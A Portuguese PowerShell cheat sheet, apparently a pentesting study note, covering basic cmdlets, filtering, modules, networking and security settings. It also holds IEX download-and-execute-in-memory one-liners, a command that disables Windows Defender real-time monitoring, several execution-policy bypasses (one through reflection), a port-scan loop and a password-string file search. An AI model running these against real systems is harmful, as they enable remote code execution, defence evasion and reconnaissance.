# Powershell

### Comandos Básicos

#### Essencial

Acessado o powershell via prompt de comando.

```bash
powershell
```

Versão do Powershell

```bash
$PSVersionTable
```

Verificando versão disponíveis do Powershell no máquina atual

```bash
$PSVersionTable.PSVersion
```

Verificando qual linguagem do Powershell está em uso no momento, sendo eles `ConstrainedLanguage` ou `FullLanguage`.

```bash
$ExecutionContext.SessionState.LanguageMode
```

Listando as variáveis de ambiente

```bash
dir env:
```

Renomeando o título da janela

```bash
$host.UI.RawUI.WindowTitle = "<NOME>"
```

Modos de exibição

```bash
# Modo Lista, onde apresentar resultados mais completos
ls | Format-List
ls | fl

# Modo Tabela, que vem por padrão na saída dos resultados
ls | Format-Table
ls | ft

# Exibe m popup GUI com melhor visualização
ls | Out-GridView
```

Quando executarmos algum comando e recebermos algum retorno que contenha algo como `{valor1, valor2, valor3, val...}`, não temos como saber o restante dos valores. Para vermos a lista completa, precismos utilizar o seguinte comando:

```bash
<command> | Select -ExpandProperty <campo_que_ira_exapandir>
```

Exibindo todos os alias

```bash
alias
```

Comando para saber quais serviços estão presentes no SO e quais os seus executáveis

```bash
run wmic service get name, pathname
```

Informações sobre partições do disco

```bash
wmic volume get Label,DeviceID,DriveLetter, FileSystem,Capacity,FreeSpace
```

Acessado o powershell via prompt de comando sem entrar no modo interativo

```bash
powershell -Command <command>
powershell -command "<command1> ; <command2>"
```

Verificando se o SO é 64 bits

```bash
[Environment]::Is64BitProcess
```

Detalhes do SO

```bash
Get-ComputerInfo
```

Lista completa de comandos disponíveis

```bash
Get-Command
```

Buscando todos os Process do tipo Cmdlet

```bash
Get-Command -Type Cmdlet *process*
```

Executando comandos através do PowerShell

```bash
c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe <command>
```

Buscamos por algum comando

```bash
Get-Command | Select-String <filter>
```

Exibindo mensagem na tela

```bash
echo "Meu teste"
Write-Host "Meu teste"
write-Output "Meu teste"
'ola mundo'
"ola mundo"
```

Diretório atual

```bash
pwd
get-location
```

Lendo arquivos

```bash
cat <file>
type <file>
```

Lista os processos em execução

```bash
Get-Process
```

Procurando por um processo que começe com `Calc` e executando um `kill` para finalizá-lo

```bash
Get-Process -Name "Calc*" | kill
```

Buscando o path completo de determinado executável

```bash
Get-Command 'whoami'
Get-Command 'calc'
```

Alterando User Agent em requisições web

```bash
$downloader = New-Object System.Net.WebClient
$downloader.Headers.Add("User-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0")
iex $downloader.DownloadString("<http://site.com.br>")
```

Configurando Proxy em requisições web

```bash
$downloader = New-Object System.Net.WebClient
$proxy = [Net.WebRequest]::GetSystemWebProxy()
$proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
$downloader.Proxy = $proxy
iex $downloader.DownloadString("<http://site.com.br>")
```

Para verificar as configurações atuais de Proxy, basta digitar:

```bash
[Net.WebRequest]::GetSystemWebProxy()
```

Windows Defender

```bash
# Habilitando a proteção Real-Time
Set-MpPreference -DisableRealtimeMonitoring $false

# Desabilitando a proteção Real-Time
Set-MpPreference -DisableRealtimeMonitoring $true
```

Vendo logs do que o Defender bloqueou

```bash
Get-MpThreatDetection | sort $_.InitialDetectionTime

# Vendo a última detecção
Get-MpThreatDetection | sort $_.InitialDetectionTime | Select -First 1
```

#### Get-Help

Semelhante ao comando `man` do Linux, temos o `Get-Help` no Powershell, que serve como um manual para os comandos disponíveis

```bash
Get-Help <command>
```

Podemos utilizar argumentos adicionais no nosso helper, como por exemplo:

```bash
# Informções completas do comando
Get-Help <command> -Full

# Detalhes do comando
Get-Help <command> -Detailed

# Exemplos de utilização do comando
Get-Help <command> -Examples

# Abre a página web do tutorial da Microsoft
Get-Help <command> -Online

# Abre o resultado em um popup
Get-Help <command> -ShowWindow
```



#### Properties

Vendo as propriedades de um comando (objeto). No exemplo abaixo, utilizamos o `Get-Process` (`ps`) como exemplo, mas podemos utilizar outros comando em seu lugar. Note que o `Get-Member` possui o alias `gm`.

```bash
Get-Process | Get-Member
Get-Process | gm
```

Como tudo no Powershell é um objeto, uma simples string pode conter `Method` e `Property`. No exemplo abaixo, estamos dando um `echo` em `abc` (lembrando que não precisamos escrever `echo`) e pegando as suas informações de acesso.

```bash
'abc' | Get-Member
```

Filtrando somente por `Member-Type` que possua o valor `Method`

```bash
Get-Process | Get-Member -MemberType Method
```

Acessando as propriedades

```bash
ls | fl -Property FullName,Length
Get-ChildItem | Format-List -Property FullName,Length
```

Ao vermos um tipo de `Property` ao executar o `Get-Member`, devemos especificar o formato, como por exemplo, o `Format-List (ou` fl\`) para poder acessar suas propriedades

```bash
Get-Process | fl -Property Id,Name,StartTime

# Pegando todas as propriedades
Get-Process | fl -Property *
```



#### Manipulando Saídas

Abaixo alguns métodos que podemos acessar com uma string:

```bash
# Deixando todas as letras maiúsculas
'abc'.toUpper()

# Comparando a string `abc` com `def`
'abc'.CompareTo('def')

# Quebrando string por vírgula
'a,b,c,d,e,f'.split(',')

# Quebrando string por vírgula e deixando as letras em maiúsculo
'a,b,c,d,e,f'.split(',').ToUpper()

# Retornando os 5 primeiros serviços de maneira ordenada (Sort), que estão consumindo mais memória 
ps | Sort-Object -Property WS -Descending | Select-Object -First 5
ps | Sort-Object -Property WS | Select-Object -Last 5

# Retornando o primeiro resultado de processo que mais estão utilizando memória, porém ignorando as 3 primeiras linhas, ou seja, retorna somente a quarta linha
ps | Sort-Object -Property WS -Descending | Select-Object -Index 3
ps | Sort-Object -Property WS -Descending | Select-Object -First 1 -Skip 3

# Agrupando resultados
<command> | ft -GroupBy <column>
```



#### Select

```bash
Get-Service dhcp | Select ServiceName,CanPauseAndContinue,DisplayName
```

#### Select-String

Procurando pela string "pass" em todos os arquivos txt

```bash
Select-String -Path .\*.txt -Pattern pass*
ls -r . -File *.txt | %{ sls -Path $_ -Pattern pass* }
```

#### Array

Removendo valores duplicados no array

```bash
'a','b','c','a','b','c','d' | Select-Object -Unique
```

Exibe todos os valores do array menos o primeiro

```bash
'a','b','c','a','b','c','d' | Select-Object -Skip 1
```

Exibe todos os valores do array menos os 3 primeiros

```bash
'a','b','c','a','b','c','d' | Select-Object -Skip 3
```



### Modules

Verificando todos os Módulos que estão importados na sessão atual

```bash
Get-Module
```

Verificando todos os Módulos que estão dispóníveis para serem importados

```bash
Get-Module -ListAvailable
```

Para importar um Módulos presente no resultado do comando acima, basta executar:

```bash
Import-Module <module>
```

Caso seja um módulo baixado da internet ou até mesmo desenvolvido por conta própria, execute:

```bash
Import-Module <file.psm1>
```

Também podemos importar Módulos, usando a técnica Dot-Sourcing, que consiste na seguinte estrutura

```bash
. .\<file.ps1>
```

Outra maneira diferente de fazer um importar um módulo:

```bash
ipmo <file.ps1>
```

Localizando o diretório do Módulos. Caso coloque scripts nesses diretórios, eles serão carregados automaticamente no Powershell, permitindo serem executados de forma nativa

```bash
$Env:PSModulePath
```

Listando todos os `cmdlet` de um determinado Módulo

```bash
Get-Command -Module <module>
```

Caso tenha queira executar alguma `function` no resultado do comando acima e não sabe ao certo como utilizar, execute o comando abaixo para ter mais detalhes sobre o seu uso

```bash
Get-Help <function>
```



### Foreach

Multiplando por 2, cada um dos itens

```bash
1,2,3,'a','b','c' | % {$_ * 2}
```

Matando todos os processos do Chrome, semelhante a um `ps -Name Chrome | kill`

```bash
Get-Process -Name "chrome" | % {Stop-Process $_}
```



### Where-Object

Executando comandos e realizando filtros. Note que a `?` pode ser substituída por `Where-Object`

```bash
ps | ? {$_.ProcessName -eq "Calculator"}
ps | ?{$_.PriorityClass -eq "normal"} | fl -Property Name, PriorityClass
ps | ?{$_.PriorityClass -ne "normal" -and $_.PriorityClass -ne $null} | fl -Property Name, PriorityClass
ps | Where-Object {$_.Name -ne "chrome"}
ls | ? {$_.Name -eq "mysther"}

# Este só funciona a partir da versão 3 do Powershell
ps | ? -Property PriorityClass -eq -Value "normal"
```

Por exemplo, para pegarmos todos os serviços que estão em execução, podemos executar o seguinte comando:

```bash
Get-Service | ? {$_.Status -eq 'Running'}
```



### Bypass Para Copiar Arquivos

```bash
findstr /V /L "StringQueNaoExiste" \\<ip>\mysther\script.ps1 > <C:\Users\Mysther\Desktop\script.ps1>
```



### Profile

Os Profiles são perfis, onde scripts são executados assim que o Powershell for inicializado. Para executarmos um comando sem um perfil, podemos utilizar um comando seguindo o exemplo abaixo:

```bash
echo 'Write-Host "Eu sou:" ; whoami ' | powershell -noprofile -
```



### Redes

Exibindo detalhes sobre as unidade de rede que estão mapeadas

```bash
wmic netuse list full
```

Verificando conectividade

```bash
# Ping
Test-Connection <target>

# Traceroute
Test-Connection <target> -Traceroute
```

Verificando portas com `Test-NetConnection`.&#x20;

```bash
# Saída padrão
Test-NetConnection <target> -Port <port>

# Saída limpa
Test-NetConnection <target> -Port <port> -WarningAction SilentlyContinue -InformationLevel Quiet

# Saída personalizada
if (Test-NetConnection <target> -Port <port> -WarningAction SilentlyContinue -InformationLevel Quiet) { echo "Porta aberta" } else { echo "Porta fechada" }
```

Verificando portas com `Net.Sockets.TcpClient`.

```bash
1..65535 | % {echo ((New-Object Net.Sockets.TcpClient).Connect('<ip>', $_)) "Port $_ is open"} 2>$null
$ip = "<ip>" ; for ($port = 1 ; $port -lt 65535 ; $port++) {try { $socket = New-Object System.Net.Sockets.TcpClient($ip,$port); "${ip}:${port} is open" } catch {"${ip}:${port} is close"}}
$ip = "<ip>" ; for ($port = 1 ; $port -lt 65535 ; $port++) {try { $socket = New-Object System.Net.Sockets.TcpClient($ip,$port); "${ip}:${port} is open" } catch {}}
```

Converte um arquivo com hostname em IP's

```bash
Get-Content <file-hostname.txt> | ForEach-Object { [System.Net.Dns]::GetHostAddresses($_) } | Select IPAddressToString
```

#### IPv4NetworkScan.ps1

```bash
.\IPv4NetworkScan.ps1 -IPv4Address 192.168.1.0 -Mask 255.255.255.0 -DisableDNSResolving
.\IPv4NetworkScan.ps1 -IPv4Address 192.168.1.0 -CIDR 24
```

###

### Lendo, Filtrando, Pesquisando e Manipulando Saídas

Filtrando palavras de forma semelhante ao `grep` (Linux)

```bash
type <file> | Select-String "<find>"
```

Quebrando string em partes

```bash
$x = "eu:uso:powershell"
$x.split(':')[0] // eu
$x.split(':')[1] // uso
$x.split(':')[2] // powershell
```

Substituindo caracteres

```bash
$x = "abcdef"
$x -replace "a",""

$str = 'Minha-string'
$str.replace('-', ' ')
```

Listando todos os arquivos de forma recursiva

```bash
gci -recurse . | select fullname
```

Contando quantidade de resultados (linhas), semelhante ao `wc -l` do Linux

```bash
ls | Measure-Object | select count
```

Retornando softwares instalados no computador

```bash
get-ciminstance win32_product | fl
```

Retornando softwares instalados no computador, filtrando somente por produtos que não contém o nome "Microsoft"

```bash
get-ciminstance win32_product -Filter "NOT Vendor like '%Microsoft%'" | fl
```



### WEB

Baixando um arquivo

```bash
# Baixando arquivo e "executando" direto na memória (sem baixar no HD)
IEX(New-Object Net.WebClient).downloadString('http://<site.com>/<file>')

# Baixando arquivo no HD
iex(New-Object Net.WebClient).DownloadFile("http://<site>/<file>", "C:\Users\<user>\Downloads\<file>")
Invoke-WebRequest -Uri "http://<site>/<file>" -OutFile "C:\Users\<user>\Downloads"
Invoke-WebRequest "http://<site>/<file>" -OutFile "C:\Users\<user>\Downloads"
```

Método HTTP

```bash
Invoke-WebRequest <www.site.com.br> -Method <method>
```

Pegando somente o Status Code

```bash
(Invoke-WebRequest <www.site.com.br>).status.code
```

Pegando somente o conteúdo html

```bash
(Invoke-WebRequest <www.site.com.br>).status.content
```

Pegando somente o header

```bash
(Invoke-WebRequest www.site.com.br).headers
(Invoke-WebRequest www.site.com.br).headers.server
```

Pegando somente os links de uma página web

```bash
(Invoke-WebRequest www.site.com.br).links
(Invoke-WebRequest www.site.com.br).links.href
```



### Usuários e Grupos

Listando usuários

```bash
Get-LocalUser
Get-LocalUser | ft Name,Enabled,LastLogon
whoami /alluser
```

Listando grupos

```bash
Get-LocalGroup
Get-ChildItem c:\Users -Force | select Name

# Grupos locais
net localgroup
```

Usuários locais que fazem parte de um determinado grupo

```bash
net localgroup <grupo>
```

###

### Segurança

Ignorando política de execução, pois o PowerShell é altamente monitorado usando ACLs, histórico de comandos, System Center Configuration Manager \[SCCM], etc.

#### ExecutionPolicy

Tipos de perfil:

* `Default` = Política de execução padrão. _Restricted_ para usuários em Desktop e _RemoteSigned_ caso seja um servidor
* `RemoteSigned` = Os scripts baixados na internet são obrigados a ter uma assinatura digital de uma fonte confiável
* `Restricted` = Comandos individuais podem ser executados, porém arquivos ps1 não podem
* `Unrestricted` = Script que não são assinados podem ser executados
* `Undefined` = Não possui política definida para o escopo atual
* `AllSigned` = Os scripts executados devem ser assinados por uma fonte confiável



Verificando a configuração atual

```bash
Get-ExecutionPolicy
```

Verificando a permissão de um determinado escopo

```bash
Get-ExecutionPolicy -Scope CurrentUser
```

Verificando a permissão de todos os escopos

```bash
Get-ExecutionPolicy -list
```

Realizando bypass para pegar todos os acessos

```bash
powershell -ep bypass

#ou

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
```

Outra maneira de realizarmos bypass, é alterando o `$AuthorizationManager` por `$null`, é executando o comando abaixo. Nada é exibido na tela e se executarmos um `Get-ExecutionPolicy`, nada irá ser alterado também, porém mesmo assim podemos executar arquivos ps1 no powershell.

```bash
($bpexec=$executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue($executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($bpexec, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
./<file.ps1>
```

Bypass na execução de um único arquivo

```bash
powershell -ExecutionPolicy Bypass -File <file.ps1>
powershell -ExecutionPolicy Bypass ./<file.ps1>
powershell -ep bypass ./<file.ps1>
```

Executa um comando com bypass e em seguida já volta para o padrão de segurança do Powershell

```bash
powershell -ep bypass <command>
```

Deixa o terminal com permissões de execução. Note que para ter êxito com esse comando, precisa ter acesso administrador

```bash
# Realiza o bypass
Set-ExecutionPolicy Bypass -Force

# Volta para o modo restrito
Set-ExecutionPolicy restricted -Force
```

Altera a permissão no escopo Process

```bash
Set-ExecutionPolicy bypass -scope Process
```

Altera a permissão no escopo CurrentUser -Force

```bash
Set-ExecutionPolicy bypass -scope CurrentUser -Force
```

Verificando permissões de diretório

```bash
Get-Acl C:\Windows\Tasks | fl
```

#### Service Unquoted

Retorna um conjunto de serviços que possui um caminho inseguro configurado incorretamente durante a instalação

```bash
Get-ServiceUnquoted -verbose
```



### Condições / Repetidores

Contadores

```bash
1..10
```

Foreach

```bash
foreach ($x in 1..254) { echo "192.168.1.$x" }
```



### Sites

```bash
# Diversos scripts úteis para Powershell
https://github.com/fleschutz/PowerShell

# IPv4NetworkScanner
https://github.com/BornToBeRoot/PowerShell_IPv4NetworkScanner
```
